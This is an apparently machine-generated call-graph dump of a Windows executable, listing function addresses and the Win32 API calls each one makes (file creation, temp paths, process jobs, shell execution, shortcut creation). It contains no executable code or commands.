11593->11594 11595 4097c2 11594->11595 12632 401ed5 GetStdHandle WriteFile 11594->12632 11597 4029a6 lstrcmpW 11595->11597 11598 4097cf 11597->11598 11599 4029a6 lstrcmpW 11598->11599 11601 4097e2 11598->11601 11599->11601 11602 4097f0 11601->11602 12633 401ed5 GetStdHandle WriteFile 11601->12633 11602->10961 11604 408c0f 11603->11604 11605 408c42 11604->11605 11606 408c24 11604->11606 12637 4085f7 11605->12637 12634 4085de 11606->12634 11611 40844b 22 API calls 11613 408c3d 11611->11613 11612 40844b 22 API calls 11612->11613 12640 4081be ??3@YAXPAX 11613->12640 11615 408c65 11615->11009 11617 408c7f 11616->11617 11618 4010bd 4 API calls 11617->11618 11619 408c8a 11618->11619 11620 40844b 22 API calls 11619->11620 11621 408c9b 11620->11621 12641 4081be ??3@YAXPAX 11621->12641 11623 408ca5 11623->11009 11625 4014eb 2 API calls 11624->11625 11626 4048b4 11625->11626 11627 402aa0 2 API calls 11626->11627 11628 4048bd GetTempPathW 11627->11628 11629 4048d6 11628->11629 11634 4048ed 11628->11634 11630 402aa0 2 API calls 11629->11630 11631 4048e1 GetTempPathW 11630->11631 11631->11634 11632 402aa0 2 API calls 11633 404910 wsprintfW 11632->11633 11633->11634 11634->11632 11635 404927 GetFileAttributesW 11634->11635 11636 40494b 11634->11636 11635->11634 11635->11636 11636->10994 11638 408cbd 11637->11638 12642 40862c 11638->12642 11641 40844b 22 API calls 11642 408cf2 11641->11642 12645 4081be ??3@YAXPAX 11642->12645 11644 408cfc 11644->11012 11646 404792 ??3@YAXPAX ??3@YAXPAX 11645->11646 11647 404787 11645->11647 11646->10987 11648 4032e9 16 API calls 11647->11648 11648->11646 11650 4029a6 lstrcmpW 11649->11650 11651 404e68 11650->11651 11652 404e9d 11651->11652 11653 401403 2 API calls 11651->11653 11652->11064 11654 404e77 11653->11654 11655 4044e2 20 API calls 11654->11655 11656 404e7d 11655->11656 11656->11652 11657 401795 2 API calls 11656->11657 11657->11652 11659 4014eb 2 API calls 11658->11659 11660 40549e 11659->11660 11661 4014eb 2 API calls 11660->11661 11662 4054a6 GetCommandLineW 11661->11662 11663 404e9f 2 API calls 11662->11663 11664 4054b6 11663->11664 11665 404cb1 2 API calls 11664->11665 11666 4054e9 11665->11666 11667 404ccf 2 API calls 11666->11667 11668 4054f6 11667->11668 11669 404ccf 2 API calls 11668->11669 11670 405503 11669->11670 11671 404ced 2 API calls 11670->11671 11672 405510 11671->11672 11673 404ced 2 API calls 11672->11673 11674 40551d 11673->11674 11675 404ced 2 API calls 11674->11675 11676 40552a 11675->11676 11677 404ced 2 API calls 11676->11677 11678 405537 11677->11678 11679 404ccf 2 API calls 11678->11679 11680 405544 11679->11680 11681 404ccf 2 API calls 11680->11681 11682 405551 11681->11682 11683 404ccf 2 API calls 11682->11683 11684 40555e 11683->11684 11685 40143c 2 API calls 11684->11685 11686 40556a 12 API calls 11685->11686 11687 405622 CreateJobObjectW 11686->11687 11688 4055ff GetLastError 11686->11688 11690 40563a AssignProcessToJobObject 11687->11690 11691 40569d ResumeThread WaitForSingleObject 11687->11691 11689 405607 ??3@YAXPAX ??3@YAXPAX 11688->11689 11689->11122 11690->11691 11692 405648 CreateIoCompletionPort 11690->11692 11693 4056ad CloseHandle GetExitCodeProcess 11691->11693 11692->11691 11694 40565a SetInformationJobObject ResumeThread 11692->11694 11695 4056d3 CloseHandle 11693->11695 11696 4056ca GetLastError 11693->11696 11697 405688 GetQueuedCompletionStatus 11694->11697 11698 4056dc CloseHandle 11695->11698 11699 4056df 11695->11699 11696->11695 11697->11691 11700 405682 11697->11700 11698->11699 11701 4056e5 CloseHandle 11699->11701 11702 4056ea 11699->11702 11700->11693 11700->11697 11701->11702 11702->11689 11704 4026b4 LoadLibraryA GetProcAddress 11703->11704 11705 4026cf 11703->11705 11704->11705 11705->11109 11707 4014eb 2 API calls 11706->11707 11715 405204 11707->11715 11708 401403 2 API calls 11708->11715 11709 405296 11710 4052d0 ??3@YAXPAX 11709->11710 11712 4051f3 3 API calls 11709->11712 11710->11065 11711 401795 2 API calls 11711->11715 11714 4052cd 11712->11714 11713 4029a6 lstrcmpW 11713->11715 11714->11710 11715->11708 11715->11709 11715->11711 11715->11713 11717 4083ea 4 API calls 11716->11717 11718 40476d 11717->11718 11718->11042 11719->11022 11721 405945 ??3@YAXPAX 11720->11721 11722 4057a9 11720->11722 11724 40594b 11721->11724 11722->11721 11723 4057bd GetDriveTypeW 11722->11723 11723->11721 11725 4057e9 11723->11725 11724->11023 11726 4048a3 6 API calls 11725->11726 11727 4057f7 CreateFileW 11726->11727 11728 40581d 11727->11728 11729 40590f ??3@YAXPAX ??3@YAXPAX 11727->11729 11730 4014eb 2 API calls 11728->11730 11729->11724 11731 405826 11730->11731 11732 401403 2 API calls 11731->11732 11733 405833 11732->11733 11734 402ab8 2 API calls 11733->11734 11735 405841 11734->11735 11736 4014bc 2 API calls 11735->11736 11737 40584d 11736->11737 11738 402ab8 2 API calls 11737->11738 11739 40585b 11738->11739 11740 402ab8 2 API calls 11739->11740 11741 405868 11740->11741 11742 4014bc 2 API calls 11741->11742 11743 405874 11742->11743 11744 402ab8 2 API calls 11743->11744 11745 405881 11744->11745 11746 402ab8 2 API calls 11745->11746 11747 40588a 11746->11747 11748 4014bc 2 API calls 11747->11748 11749 405896 11748->11749 11750 402ab8 2 API calls 11749->11750 11751 40589f 11750->11751 11752 402e16 3 API calls 11751->11752 11753 4058b1 WriteFile ??3@YAXPAX CloseHandle 11752->11753 11754 405920 11753->11754 11755 4058df 11753->11755 11757 4032e9 16 API calls 11754->11757 11755->11754 11756 4058e7 SetFileAttributesW ShellExecuteW ??3@YAXPAX 11755->11756 11756->11729 11758 405928 ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX 11757->11758 11758->11724 11768 402805 11759->11768 11763 4014eb 2 API calls 11762->11763 11764 402dda 11763->11764 11765 402e12 11764->11765 11773 402aa0 11764->11773 11765->11162 11769 402813 ??2@YAPAXI 11768->11769 11770 40283f 11768->11770 11769->11770 11771 402824 ??3@YAXPAX 11769->11771 11770->11162 11771->11770 11774 402ab2 MultiByteToWideChar 11773->11774 11775 402aac 11773->11775 11774->11765 11776 4011b7 2 API calls 11775->11776 11776->11774 11777->11179 11779 402692 11778->11779 11780 402686 GetNativeSystemInfo 11778->11780 11779->11182 11780->11182 11781->11205 11783 401f78 11782->11783 11789 401fb8 11782->11789 11784 4126c0 CharUpperW 11783->11784 11785 401fc5 11783->11785 11783->11789 11784->11783 11790 4126c0 CharUpperW 11785->11790 11787 401fd5 11791 4126c0 CharUpperW 11787->11791 11789->11213 11790->11787 11791->11789 11795 4123a4 11792->11795 11796 41236b 2 API calls 11795->11796 11797 40614b 11796->11797 11797->10828 11797->10829 11848 402baf 11798->11848 11801 402baf 2 API calls 11802 403ebf 11801->11802 11852 402d03 11802->11852 11805 402be9 2 API calls 11806 403edc ??3@YAXPAX 11805->11806 11807 402d03 3 API calls 11806->11807 11808 403ef7 11807->11808 11809 402be9 2 API calls 11808->11809 11810 403f02 ??3@YAXPAX 11809->11810 11811 403f42 11810->11811 11812 403f18 11810->11812 11813 403f48 wsprintfA 11811->11813 11814 403f6f 11811->11814 11812->11811 11815 403f1d wsprintfA 11812->11815 11817 402c49 2 API calls 11813->11817 11818 402c49 2 API calls 11814->11818 11816 402c49 2 API calls 11815->11816 11819 403f37 11816->11819 11820 403f64 11817->11820 11821 403f7c 11818->11821 11822 402c49 2 API calls 11819->11822 11823 402c49 2 API calls 11820->11823 11824 402c49 2 API calls 11821->11824 11822->11811 11823->11814 11825 403f84 11824->11825 11826 402ee4 11825->11826 11827 402ef1 11826->11827 11867 412a6a 11827->11867 11829 40300e 11837 402be9 11829->11837 11830 402f30 11830->11829 11831 402fb8 memcmp 11830->11831 11832 402fdb memmove 11830->11832 11833 402f7b memcmp 11830->11833 11873 412a36 11830->11873 11877 402c21 11830->11877 11831->11830 11832->11829 11832->11830 11833->11829 11833->11830 11838 402bf5 11837->11838 11840 402c06 11837->11840 11839 402805 2 API calls 11838->11839 11839->11840 11840->11238 11842 402851 2 API calls 11841->11842 11843 402c8f 11842->11843 11843->11248 11843->11843 11845 402c58 11844->11845 11845->11845 11846 402851 2 API calls 11845->11846 11847 402c65 11846->11847 11847->11238 11849 402bc5 11848->11849 11849->11849 11850 402805 2 API calls 11849->11850 11851 402bd2 11850->11851 11851->11801 11853 402d1e 11852->11853 11854 402d35 11853->11854 11856 402d2a 11853->11856 11855 402b19 2 API calls 11854->11855 11857 402d3e 11855->11857 11864 402b61 11856->11864 11860 402805 2 API calls 11857->11860 11859 402d33 11859->11805 11861 402d47 11860->11861 11862 402b61 2 API calls 11861->11862 11863 402d75 ??3@YAXPAX 11862->11863 11863->11859 11865 402805 2 API calls 11864->11865 11866 402b7c 11865->11866 11866->11859 11868 412a7a 11867->11868 11869 402f03 lstrlenA lstrlenA 11867->11869 11880 412305 SetFilePointer 11868->11880 11869->11830 11872 4129fa GetLastError 11872->11869 11874 412a4e 11873->11874 11875 4129fa GetLastError 11874->11875 11876 412a65 11875->11876 11876->11830 11883 402851 11877->11883 11881 412338 11880->11881 11882 41232e GetLastError 11880->11882 11881->11872 11882->11881 11884 402895 11883->11884 11885 402865 11883->11885 11884->11830 11886 402805 2 API calls 11885->11886 11886->11884 11891 401ff0 11887->11891 11894 412260 11887->11894 11888 40624e 11888->10845 11888->11477 11892 401ff7 VirtualFree 11891->11892 11893 402008 11891->11893 11892->11893 11893->11888 11895 412280 11894->11895 11896 41226e 11894->11896 11895->11888 11899 411e20 11896->11899 11900 401ff0 VirtualFree 11899->11900 11901 411e39 11900->11901 11902 401ff0 VirtualFree 11901->11902 11903 411e65 ??3@YAXPAX 11902->11903 11903->11895 11905 4046ae 11904->11905 11916 4045d4 11905->11916 11909 404644 11908->11909 11910 4045d4 _wtol 11909->11910 11911 404665 11910->11911 11911->11289 11913 404675 11912->11913 11914 4045d4 _wtol 11913->11914 11915 40468d 11914->11915 11915->11295 11919 4045de 11916->11919 11917 4045f9 _wtol 11917->11919 11918 404632 11918->11283 11919->11917 11919->11918 11921 4014eb 2 API calls 11920->11921 11922 404c90 11921->11922 11923 401795 2 API calls 11922->11923 11924 404c99 11923->11924 11925 401795 2 API calls 11924->11925 11926 404ca2 11925->11926 11927 401795 2 API calls 11926->11927 11928 404cab 11927->11928 11929 40484d 11928->11929 11930 40489d ??3@YAXPAX 11929->11930 11931 40485e 11929->11931 11930->10886 11931->11930 11933 402cce 11931->11933 11934 402ce4 11933->11934 11936 402cf8 11934->11936 11937 40289b memmove 11934->11937 11936->11930 11937->11936 11939 404820 11938->11939 11940 402cce memmove 11939->11940 11941 404847 ??3@YAXPAX 11940->11941 11941->10888 11944 40291b 11942->11944 11943 402927 lstrcmpW 11943->11944 11945 402944 11943->11945 11944->11943 11944->11945 11945->10943 11959 401397 11946->11959 11962 4169ec 11946->11962 11970 415eea _EH_prolog 11946->11970 11947 40115f 11947->11355 12539 401519 11951->12539 11954 401503 2 API calls 11955 40158d ??3@YAXPAX 11954->11955 12544 4081be ??3@YAXPAX 11955->12544 11958 4015a2 11958->11360 11960 4013a3 ??3@YAXPAX 11959->11960 11961 4013ac 11959->11961 11960->11961 11961->11947 11963 4169fe 11962->11963 11968 412a6a 3 API calls 11963->11968 11964 416a12 11965 416a49 11964->11965 11969 412a6a 3 API calls 11964->11969 11965->11947 11966 416a26 11966->11965 11989 416891 11966->11989 11968->11964 11969->11966 11971 415f0b 11970->11971 11972 4169ec 13 API calls 11971->11972 11973 415f49 11972->11973 11974 415f75 11973->11974 11975 415f4f 11973->11975 11976 4014eb 2 API calls 11974->11976 12028 415b0a 11975->12028 11978 415f86 11976->11978 12025 418390 _EH_prolog 11978->12025 12002 413b40 11989->12002 11991 4168bd 11991->11965 11992 4168a9 11992->11991 12005 40b2b0 11992->12005 11995 41698a ??3@YAXPAX 11995->11991 11997 416973 memmove 11998 4168f6 11997->11998 11998->11995 11998->11997 11999 41699f memcpy 11998->11999 12000 416995 ??3@YAXPAX 11998->12000 12001 412a6a 3 API calls 11999->12001 12000->11991 12001->12000 12013 413af5 12002->12013 12006 40b300 memcpy 12005->12006 12007 40b2bd 12005->12007 12006->11998 12008 40b2c2 ??2@YAPAXI 12007->12008 12009 40b2eb 12007->12009 12010 40b2d4 memmove 12008->12010 12011 40b2ed ??3@YAXPAX 12008->12011 12009->12011 12010->12011 12011->12006 12014 413b39 12013->12014 12015 413b07 12013->12015 12014->11992 12015->12014 12017 412a36 GetLastError 12015->12017 12018 413465 12015->12018 12017->12015 12019 41348a 12018->12019 12020 4134a6 12019->12020 12022 413512 12019->12022 12020->12015 12023 4134c7 SetFilePointer GetLastError GetLastError EnterCriticalSection LeaveCriticalSection 12022->12023 12024 413536 12023->12024 12024->12020 12036 4180ff 12025->12036 12522 41599a 12028->12522 12058 4157f1 12036->12058 12181 415762 12058->12181 12182 4127e6 ctype 2 API calls 12181->12182 12183 41576b 12182->12183 12184 4127e6 ctype 2 API calls 12183->12184 12185 415773 12184->12185 12186 4127e6 ctype 2 API calls 12185->12186 12187 41577b 12186->12187 12188 4127e6 ctype 2 API calls 12187->12188 12189 415783 12188->12189 12190 4127e6 ctype 2 API calls 12189->12190 12191 41578b 12190->12191 12192 4127e6 ctype 2 API calls 12191->12192 12193 415793 12192->12193 12194 4127e6 ctype 2 API calls 12193->12194 12195 41579d 12194->12195 12196 4127e6 ctype 2 API calls 12195->12196 12197 4157a5 12196->12197 12198 4127e6 ctype 2 API calls 12197->12198 12199 4157b2 12198->12199 12200 4127e6 ctype 2 API calls 12199->12200 12201 4157ba 12200->12201 12202 4127e6 ctype 2 API calls 12201->12202 12203 4157c7 12202->12203 12204 4127e6 ctype 2 API calls 12203->12204 12205 4157cf 12204->12205 12206 4127e6 ctype 2 API calls 12205->12206 12207 4157dc 12206->12207 12208 4127e6 ctype 2 API calls 12207->12208 12209 4157e4 12208->12209 12523 4127e6 ctype 2 API calls 12522->12523 12524 4159a8 12523->12524 12545 4010bd 12539->12545 12542 4014eb 2 API calls 12543 40152f 12542->12543 12543->11954 12544->11958 12546 4083ea 4 API calls 12545->12546 12547 4010c5 12546->12547 12547->12542 12549 401893 12548->12549 12550 401403 2 API calls 12549->12550 12551 4018a0 12550->12551 12552 401795 2 API calls 12551->12552 12553 4018a9 CreateThread 12552->12553 12554 4018d8 12553->12554 12555 4018dd WaitForSingleObject 12553->12555 12572 40133c 12553->12572 12558 408caa 25 API calls 12554->12558 12556 4018fa 12555->12556 12557 40192c 12555->12557 12559 401918 12556->12559 12563 401909 12556->12563 12560 401928 12557->12560 12561 401934 GetExitCodeThread 12557->12561 12558->12555 12564 409606 57 API calls 12559->12564 12560->11382 12562 40194b 12561->12562 12562->12560 12562->12563 12565 40197a SetLastError 12562->12565 12563->12560 12566 409606 57 API calls 12563->12566 12564->12560 12565->12563 12566->12560 12568 4014eb 2 API calls 12567->12568 12569 4016fb 12568->12569 12570 4014eb 2 API calls 12569->12570 12571 401707 12570->12571 12571->11376 12573 401345 12572->12573 12574 401358 12572->12574 12573->12574 12575 401347 Sleep 12573->12575 12576 401391 12574->12576 12577 401383 EndDialog 12574->12577 12575->12573 12577->12576 12579 402701 12578->12579 12579->11386 12580->11437 12582 402965 lstrcmpW 12581->12582 12583 40298d 12581->12583 12584 40297c 12582->12584 12583->11483 12584->12582 12584->12583 12585->11483 12587 403041 12586->12587 12588 403035 12586->12588 12590 402b19 2 API calls 12587->12590 12604 401ed5 GetStdHandle WriteFile 12588->12604 12593 40304b 12590->12593 12591 40303c 12603 402990 ??3@YAXPAX ??3@YAXPAX 12591->12603 12592 403076 12594 402dce 3 API calls 12592->12594 12593->12592 12596 402c21 2 API calls 12593->12596 12595 403088 12594->12595 12597 403096 12595->12597 12598 4030aa 12595->12598 12596->12593 12599 409606 57 API calls 12597->12599 12600 409606 57 API calls 12598->12600 12601 4030a5 ??3@YAXPAX ??3@YAXPAX 12599->12601 12600->12601 12601->12591 12603->11490 12604->12591 12606 402b19 2 API calls 12605->12606 12607 402e25 12606->12607 12608 402e61 12607->12608 12611 402b97 12607->12611 12608->11527 12612 402ba3 12611->12612 12613 402ba9 WideCharToMultiByte 12611->12613 12614 402805 2 API calls 12612->12614 12613->12608 12614->12613 12616 4013d1 2 API calls 12615->12616 12617 402cbb 12616->12617 12618 4013d1 2 API calls 12617->12618 12619 402cc7 12618->12619 12619->11545 12621 4084d0 12620->12621 12622 4084d5 12620->12622 12621->11555 12622->12621 12623 40844b 22 API calls 12622->12623 12623->12621 12624->11555 12625->11573 12626->11575 12627->11577 12628->11578 12629->11583 12630->11587 12631->11591 12632->11595 12633->11602 12635 4083ea 4 API calls 12634->12635 12636 4085e6 12635->12636 12636->11611 12638 4010bd 4 API calls 12637->12638 12639 4085ff 12638->12639 12639->11612 12640->11615 12641->11623 12643 4083ea 4 API calls 12642->12643 12644 408634 12643->12644 12644->11641 12645->11644 13130 418c06 13139 414368 13130->13139 13133 4127e6 ctype 2 API calls 13138 418c26 13133->13138 13134 418c6a 13138->13134 13148 4184f5 ??2@YAPAXI 13138->13148 13152 4142fb 13138->13152 13159 413851 13138->13159 13166 413ef7 13139->13166 13142 413ef7 6 API calls 13143 414382 13142->13143 13171 418adb 13143->13171 13146 418adb 6 API calls 13147 41439a 13146->13147 13147->13133 13149 418504 13148->13149 13150 416407 4 API calls 13149->13150 13151 41851f 13150->13151 13151->13138 13186 407531 13152->13186 13155 407531 2 API calls 13156 414310 13155->13156 13157 407531 2 API calls 13156->13157 13158 414316 13157->13158 13158->13138 13190 4075df 13159->13190 13162 41387c 13162->13138 13163 4075df 2 API calls 13164 41386c 13163->13164 13164->13162 13165 4075df 2 API calls 13164->13165 13165->13162 13167 4127e6 ctype 2 API calls 13166->13167 13168 413eff 13167->13168 13176 413cd1 13168->13176 13172 4127e6 ctype 2 API calls 13171->13172 13173 418ae3 13172->13173 13181 41854a 13173->13181 13177 41271d 4 API calls 13176->13177 13179 413ce9 13177->13179 13178 413d05 13178->13142 13179->13178 13180 4163dd 4 API calls 13179->13180 13180->13179 13182 41271d 4 API calls 13181->13182 13183 418562 13182->13183 13184 41438e 13183->13184 13185 416407 4 API calls 13183->13185 13184->13146 13185->13183 13187 40753c CloseHandle 13186->13187 13189 407551 13186->13189 13188 407547 GetLastError 13187->13188 13187->13189 13188->13189 13189->13155 13193 407591 CreateEventW 13190->13193 13196 40751b 13193->13196 13195 4075b5 13195->13162 13195->13163 13197 407522 13196->13197 13198 407525 GetLastError 13196->13198 13197->13195 13199 40752f 13198->13199 13199->13195 13995 412f0c 13996 412f19 13995->13996 13997 412f40 memcpy 13996->13997 13998 412fb2 13996->13998 14000 412b55 13996->14000 13997->13996 14002 412b5f 14000->14002 14001 413b69 110 API calls 14003 412b8e 14001->14003 14002->14001 14003->13996 14025 405b1f 14026 402a67 2 API calls 14025->14026 14027 405b33 14026->14027 14028 4041b2 7 API calls 14027->14028 14029 405b41 14028->14029 14047 40426d 14029->14047 14031 405b50 14070 404328 14031->14070 14033 405b5f 14093 4043e3 14033->14093 14035 405be5 14112 403b54 14035->14112 14039 402e67 6 API calls 14041 405b68 14039->14041 14040 4041b2 7 API calls 14040->14041 14041->14035 14041->14039 14041->14040 14042 40426d 7 API calls 14041->14042 14043 404328 7 API calls 14041->14043 14044 4043e3 4 API calls 14041->14044 14098 403573 GetEnvironmentVariableW 14041->14098 14106 405aaf 14041->14106 14042->14041 14043->14041 14044->14041 14048 4014eb 2 API calls 14047->14048 14049 40427b 14048->14049 14050 40143c 2 API calls 14049->14050 14051 404286 14050->14051 14052 402ab8 2 API calls 14051->14052 14053 404293 14052->14053 14054 402a67 2 API calls 14053->14054 14055 4042a0 14054->14055 14056 404137 3 API calls 14055->14056 14057 4042b0 ??3@YAXPAX 14056->14057 14058 40143c 2 API calls 14057->14058 14059 4042c4 14058->14059 14060 402ab8 2 API calls 14059->14060 14061 4042d1 14060->14061 14062 402a67 2 API calls 14061->14062 14063 4042de 14062->14063 14064 404137 3 API calls 14063->14064 14065 4042ee ??3@YAXPAX 14064->14065 14066 402a67 2 API calls 14065->14066 14067 404305 14066->14067 14068 404137 3 API calls 14067->14068 14069 404314 ??3@YAXPAX ??3@YAXPAX 14068->14069 14069->14031 14071 4014eb 2 API calls 14070->14071 14072 404336 14071->14072 14073 40143c 2 API calls 14072->14073 14074 404341 14073->14074 14075 402ab8 2 API calls 14074->14075 14076 40434e 14075->14076 14077 402a67 2 API calls 14076->14077 14078 40435b 14077->14078 14079 404137 3 API calls 14078->14079 14080 40436b ??3@YAXPAX 14079->14080 14081 40143c 2 API calls 14080->14081 14082 40437f 14081->14082 14083 402ab8 2 API calls 14082->14083 14084 40438c 14083->14084 14085 402a67 2 API calls 14084->14085 14086 404399 14085->14086 14087 404137 3 API calls 14086->14087 14088 4043a9 ??3@YAXPAX 14087->14088 14089 402a67 2 API calls 14088->14089 14090 4043c0 14089->14090 14091 404137 3 API calls 14090->14091 14092 4043cf ??3@YAXPAX ??3@YAXPAX 14091->14092 14092->14033 14094 402a67 2 API calls 14093->14094 14095 4043f6 14094->14095 14096 404137 3 API calls 14095->14096 14097 404407 ??3@YAXPAX 14096->14097 14097->14041 14099 4014eb 2 API calls 14098->14099 14100 403597 14099->14100 14101 402aa0 2 API calls 14100->14101 14102 4035a5 14101->14102 14103 402aa0 2 API calls 14102->14103 14104 4035b1 GetEnvironmentVariableW 14103->14104 14105 4035bf 14104->14105 14105->14041 14107 405b1a ??3@YAXPAX 14106->14107 14110 405ac5 14106->14110 14107->14035 14107->14041 14108 401f6a CharUpperW 14108->14110 14109 402cce memmove 14109->14110 14110->14107 14110->14108 14110->14109 14111 4035f9 3 API calls 14110->14111 14111->14110 14113 403b71 14112->14113 14115 403b7d 14112->14115 14114 403b77 _wtol 14113->14114 14113->14115 14114->14115 14116 403c11 SHGetSpecialFolderPathW 14115->14116 14117 403e91 ??3@YAXPAX 14115->14117 14116->14117 14118 403c29 14116->14118 14119 402a67 2 API calls 14118->14119 14120 403c38 14119->14120 14121 4014eb 2 API calls 14120->14121 14122 403c40 14121->14122 14123 4014eb 2 API calls 14122->14123 14124 403c48 14123->14124 14125 4014eb 2 API calls 14124->14125 14126 403c50 14125->14126 14127 4014eb 2 API calls 14126->14127 14128 403c58 14127->14128 14129 4014eb 2 API calls 14128->14129 14130 403c60 14129->14130 14131 4014eb 2 API calls 14130->14131 14132 403c68 14131->14132 14133 4014eb 2 API calls 14132->14133 14134 403c70 14133->14134 14135 4014eb 2 API calls 14134->14135 14136 403c78 14135->14136 14173 403333 14136->14173 14139 403cc9 14142 403333 2 API calls 14139->14142 14140 403c89 7 API calls 14141 403e81 ??3@YAXPAX ??3@YAXPAX 14140->14141 14141->14117 14143 403cd3 14142->14143 14144 403333 2 API calls 14143->14144 14145 403cdd 14144->14145 14146 403333 2 API calls 14145->14146 14147 403ce7 14146->14147 14148 403333 2 API calls 14147->14148 14149 403cf1 14148->14149 14150 403333 2 API calls 14149->14150 14151 403cfb 14150->14151 14152 403333 2 API calls 14151->14152 14153 403d05 14152->14153 14154 403333 2 API calls 14153->14154 14155 403d0f _wtol 14154->14155 14156 403d21 14155->14156 14163 403d38 14155->14163 14160 401403 2 API calls 14156->14160 14157 401795 2 API calls 14158 403d5a 14157->14158 14159 403d75 14158->14159 14161 4014bc 2 API calls 14158->14161 14162 4039e7 88 API calls 14159->14162 14160->14163 14164 403d6b 14161->14164 14165 403d7d 14162->14165 14163->14157 14166 401795 2 API calls 14164->14166 14167 403e48 7 API calls 14165->14167 14168 4014bc 2 API calls 14165->14168 14166->14159 14167->14141 14169 403d92 14168->14169 14170 402ab8 2 API calls 14169->14170 14171 403d9f CoCreateInstance 14170->14171 14171->14167 14172 403dc1 14171->14172 14172->14167 14175 40334d 14173->14175 14174 403392 14174->14139 14174->14140 14175->14174 14176 401795 2 API calls 14175->14176 14176->14175 14177 41872c 14178 418737 14177->14178 14179 418748 14177->14179 14178->14179 14181 413880 14178->14181 14186 4075cb ResetEvent 14181->14186 14184 4075cb 2 API calls 14185 413899 14184->14185 14185->14178 14187 40751b GetLastError 14186->14187 14188 4075dd 14187->14188 14188->14184 10303 4120c0 10304 4120ce 10303->10304 10309 4120d8 10303->10309 10324 402a2f 10304->10324 10308 4120e2 10309->10308 10310 411f90 10309->10310 10317 413b69 10309->10317 10312 411fb6 10310->10312 10316 411fa0 10310->10316 10311 411fdb 10311->10309 10312->10311 10329 411000 10312->10329 10314 411fae 10314->10309 10316->10314 10332 411a40 10316->10332 10318 413ba9 10317->10318 10319 413b75 10317->10319 10318->10309 10319->10318 10344 415588 10319->10344 10350 41247f SetFileTime 10319->10350 10351 41229a 10319->10351 10354 4012ab 10319->10354 10703 4029c5 10324->10703 10327 402a3d 10327->10309 10328 402a3e VirtualAlloc 10328->10309 10337 410e70 memset 10329->10337 10334 411a5d 10332->10334 10333 411a7d 10333->10316 10334->10333 10339 4111d0 10334->10339 10336 411dfa 10336->10316 10338 410ecc 10337->10338 10338->10316 10340 4111f3 10339->10340 10341 410e70 memset 10340->10341 10342 411286 10340->10342 10343 41127e 10341->10343 10342->10336 10343->10336 10345 415594 10344->10345 10347 415641 10345->10347 10348 415549 106 API calls 10345->10348 10360 418eab 10345->10360 10364 415428 10345->10364 10347->10319 10348->10345 10350->10319 10352 4122a4 CloseHandle 10351->10352 10353 4122af 10351->10353 10352->10353 10353->10319 10355 4012bf 10354->10355 10358 4012b3 10354->10358 10356 4012dc 10355->10356 10699 41249c 10355->10699 10356->10358 10359 4012e9 SetFileAttributesW 10356->10359 10358->10319 10359->10358 10361 418ebc 10360->10361 10362 418ecc 10360->10362 10369 412ace 10361->10369 10362->10345 10365 415442 10364->10365 10381 401b0b 10365->10381 10442 412434 10365->10442 10366 415476 10366->10345 10374 4124ac 10369->10374 10371 412ae7 10377 4129fa 10371->10377 10373 412b06 10373->10362 10375 4124ba 10374->10375 10376 4124bd WriteFile 10374->10376 10375->10376 10376->10371 10378 412a01 10377->10378 10379 412a04 GetLastError 10377->10379 10378->10373 10380 412a0e 10379->10380 10380->10373 10382 401b27 10381->10382 10387 401b1d 10381->10387 10383 401b54 10382->10383 10445 4014eb 10382->10445 10470 412574 10383->10470 10387->10366 10388 401e47 ??3@YAXPAX 10392 412574 VariantClear 10388->10392 10389 401b82 10448 401403 10389->10448 10392->10387 10393 401b8d 10452 4017c0 10393->10452 10397 401bac ??3@YAXPAX 10398 401e0d ??3@YAXPAX 10397->10398 10404 401bbe 10397->10404 10400 412574 VariantClear 10398->10400 10400->10387 10401 401bdf 10402 412574 VariantClear 10401->10402 10403 401be7 ??3@YAXPAX 10402->10403 10403->10383 10404->10401 10405 401c49 10404->10405 10406 401c0a 10404->10406 10409 401c87 10405->10409 10410 401c6e 10405->10410 10407 412574 VariantClear 10406->10407 10408 401c1c ??3@YAXPAX 10407->10408 10408->10383 10412 401ca9 GetLocalTime SystemTimeToFileTime 10409->10412 10413 401c8f 10409->10413 10411 412574 VariantClear 10410->10411 10414 401c76 ??3@YAXPAX 10411->10414 10412->10413 10413->10406 10415 401cc6 10413->10415 10416 401cdd 10413->10416 10414->10383 10474 4039e7 lstrlenW 10415->10474 10461 40367d GetFileAttributesW 10416->10461 10420 401e19 GetLastError 10420->10398 10421 401cfd ??2@YAPAXI 10423 401d09 10421->10423 10422 401e0f 10422->10420 10498 412468 10423->10498 10426 401df4 10429 412574 VariantClear 10426->10429 10427 401d44 GetLastError 10501 4013d1 10427->10501 10429->10398 10430 401d56 10431 4039e7 88 API calls 10430->10431 10434 401d64 ??3@YAXPAX 10430->10434 10432 401db1 10431->10432 10432->10434 10436 412468 2 API calls 10432->10436 10435 401d81 10434->10435 10437 412574 VariantClear 10435->10437 10439 401dd6 10436->10439 10438 401d8f ??3@YAXPAX 10437->10438 10438->10383 10440 401dda GetLastError 10439->10440 10441 401deb ??3@YAXPAX 10439->10441 10440->10434 10441->10426 10694 41236b 10442->10694 10504 4011b7 10445->10504 10449 40141a 10448->10449 10450 4011b7 2 API calls 10449->10450 10451 401425 10450->10451 10451->10393 10453 4013d1 2 API calls 10452->10453 10454 4017ce 10453->10454 10509 4014bc 10454->10509 10456 4017d9 10457 40143c 10456->10457 10458 401448 10457->10458 10460 40145a 10457->10460 10459 4011b7 2 API calls 10458->10459 10459->10460 10460->10397 10462 40369a 10461->10462 10467 401ce9 10461->10467 10463 4036ab 10462->10463 10464 40369e SetLastError 10462->10464 10465 4036b4 10463->10465 10463->10467 10468 4036c2 FindFirstFileW 10463->10468 10464->10467 10516 403650 10465->10516 10467->10420 10467->10421 10467->10422 10468->10465 10469 4036d5 FindClose CompareFileTime 10468->10469 10469->10465 10469->10467 10471 412530 10470->10471 10472 412568 10471->10472 10473 412551 VariantClear 10471->10473 10472->10387 10473->10387 10475 402a67 2 API calls 10474->10475 10476 403a08 10475->10476 10477 4011b7 2 API calls 10476->10477 10485 403a18 10476->10485 10477->10485 10479 403a66 GetSystemTimeAsFileTime GetFileAttributesW 10480 403a85 10479->10480 10481 403a7b 10479->10481 10484 401e6b 4 API calls 10480->10484 10488 403a8b ??3@YAXPAX 10480->10488 10483 40367d 22 API calls 10481->10483 10482 403b0a 10486 403b3a 10482->10486 10482->10488 10483->10480 10496 403a98 10484->10496 10485->10479 10485->10482 10565 401e6b CreateDirectoryW 10485->10565 10487 409606 57 API calls 10486->10487 10492 403b44 ??3@YAXPAX 10487->10492 10495 403b4f 10488->10495 10489 403a9d 10571 409606 10489->10571 10490 403ab0 memcpy 10490->10496 10491 403afe ??3@YAXPAX 10491->10495 10492->10495 10495->10406 10496->10489 10496->10490 10496->10491 10497 401e6b 